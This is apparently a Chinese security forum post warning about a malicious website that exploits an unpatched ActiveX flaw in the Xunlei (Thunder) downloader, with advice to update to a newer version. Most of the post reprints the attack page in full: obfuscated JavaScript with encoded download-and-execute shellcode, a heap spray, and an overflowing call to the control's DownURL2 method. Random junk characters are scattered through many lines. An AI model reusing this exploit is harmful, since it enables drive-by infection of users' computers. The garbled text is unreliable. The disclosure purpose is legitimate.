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根据恶意网址检测的线报,发现一恶意网址使用未公开的迅雷50-Day漏洞进行挂马,其EXP代码如下: 3 {4 d' x2 i: b1 Z9 t8 _
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<html>
! A' s" `" y' _- \1 E<head>4 A# {# _& y9 m" b
<meta http-equiv="Content-Type" c > _$ l5 v. X- w) n
<title></title>; w& D8 F+ h! J1 `
</head><body>% O: W$ W5 p3 `& @6 A! r0 J" N8 y- Y
<html>4 ]: g) o4 W# ?4 N9 y" ]* O
<object classid="clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266" id='target'></object>
0 M0 y& y$ m9 G0 E7 w" u8 E/ \<script language="javascript">! h+ X% j! K$ N* Q; e% {
var she132132132132llc13ode = unescape("%u9090"+"%u9090"+ _! R0 f8 Z5 `
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
7 x @$ h% o0 I1 c7 L( R& A"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +0 x/ C; x0 h0 l. }: o. ]. X
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
' }' P' l2 h) x' z. X+ v- `"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +/ \- Z. a% a5 ~+ R5 w5 J+ ~) [% b, w
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +) X* U* v' Y+ L0 r
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +* r$ q1 M- N& \. C1 F: p6 B
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
8 A' r( B! J9 f }$ `"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
) s" N4 G; u: ^; B"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +1 w3 Y( [! I8 k0 `
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +0 a1 t1 T2 u$ t6 K
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
+ t. i8 _% J3 d3 o$ o"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +% e4 ]! B& ^ [% z* `
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +* I" r H* |" O* w
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
. O! N5 V+ |% \( m* X"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
4 V/ \/ ?; \" `6 j. x+ r" ~" `) _4 H"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +* X* e" I( h" L/ B1 T/ \
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
5 Z0 D; W/ Q! X0 }# u4 m7 g! u"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
1 l9 G! J% _8 l* M- m6 y"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
0 g- N: M$ ~ A* ~5 ?, ["%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +; W: e; P9 F* F5 q
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +3 Z* b8 u$ B3 W) L
"%u6946%u656c%u0041%u7468%u7074此处为需要下载病毒的网址%u0000");+ V3 N9 m' g/ P3 @" p' C
</script>) c( L/ x. [( [1 Z1 J6 F- T6 S
<script language="javascript"> 9 g5 z; U& m `* k! D
var IsNop1236326312 = '';
" |$ i ~6 D# }2 O: i8 ivar bi3123g123665blo2131ck = unescape("%u9090%u9090");
2 D& z/ ^4 D" k. V/ I+ R2 @/ Pvar IsNop1236326312 = '';/ q8 F! F# S4 [5 M; d: u4 @- T
var he132132aders123132ize = 20;/ I# E, U( I$ [ Q1 p2 c
var IsNop1236326312 = '';
0 w) K/ Q6 `2 G! @var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;1 J/ y: s5 ?- ]5 u" |: G0 ?1 O4 c
var IsNop1236326312 = '';. X2 w' f) L! g q! a$ N/ V; S& ?
while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;
" n7 x+ f) X, ~% f2 E* Z3 `5 _4 ]+ mfillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);
) s% X+ J( }$ V) _$ o$ {2 Kblock = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);+ w4 P6 Z" d' L! M* E( m! g7 t/ Y
while(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;2 \9 s3 X( D, _) C
memory = new Array();$ O# p/ Z7 A% z- A
for (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;
# P D2 F( g; q1 [. v3 S9 rvar b1u1231ff312er = '';
- u; d0 f1 }8 Gvar IsNop1236326312 = '';8 }8 c: m% o& V" y
var IsNop1236326312 = '';
# j) A% o! K# k( s1 u* m$ o* X0 ewhile (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";
/ o E" M G2 Z4 r. Rb1u1231ff312er+="\x0a";
6 f' x% B9 m1 Xb1u1231ff312er+="\x0a";; ] l3 a. _' }4 |9 H5 M
b1u1231ff312er+="\x0a";
) v! y! [( W9 Cb1u1231ff312er+="\x0a\x0a\x0a\x0a";0 l; o- U( K8 i+ r+ {6 G
b1u1231ff312er+="\x0a\x0a\x0a\x0a";
7 ~3 B8 l( ~; v6 F5 L% q3 b' Ivar yes="1111";
# r- `5 g I/ [5 W. P* o) Xtarget.DownURL2(b1u1231ff312er,yes,yes,yes);& s. |& ~* M( u$ S) o$ I. I0 e
var IsNop1236326312 = '';1 V2 M& O) B) N }
</script># m& q# d% [% u0 d+ Q4 R8 O( T
</body></html>该代码风格颇相前段时间的《暴风影音IIActiveX栈溢出漏洞》,尾部为%u7468%u7074+此处为需要下载病毒的网址+%u0000"),但其CLSID为:EEDD6FF9-13DE-496B-9A1C-D78B3215E266
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经验证,该ActiveX控件文件为:C:\Program Files\Thunder Network\Thunder\Components\DownAndPlay\DownAndPlay\DapPlayer1.0.0.41.dll 9 h3 {7 Z: u5 A4 t
+ d6 N7 Y8 M% s% N4 X3 G3 O我已经将该信息提交给迅雷官方,相信迅雷官方会尽快更新软件, 字串5 # A$ g' p0 H+ O& ?
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在此,网络巡警提醒大家,使用迅雷软件请尽量使用最新版本的,最新版本下载地址为:
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http://pstatic.xunlei.com/about/product/down_xl5.htm
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' c% [2 O6 z* G6 x. E* v, d我会进一步关注此漏洞。
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最近情况:
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+ h* _ k# l$ z! Q从一些信息来看,含有此漏洞的迅雷版本号为Xunlei Web Thunder 5.6.9.344 ' b8 j: n! M3 \5 A7 F1 R
新版的迅雷5.7.2.371 应该无此漏洞,请大家更新~
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另外,该漏洞是一个叫做 7jdg 的人挖掘发现的(高手啊)。 |
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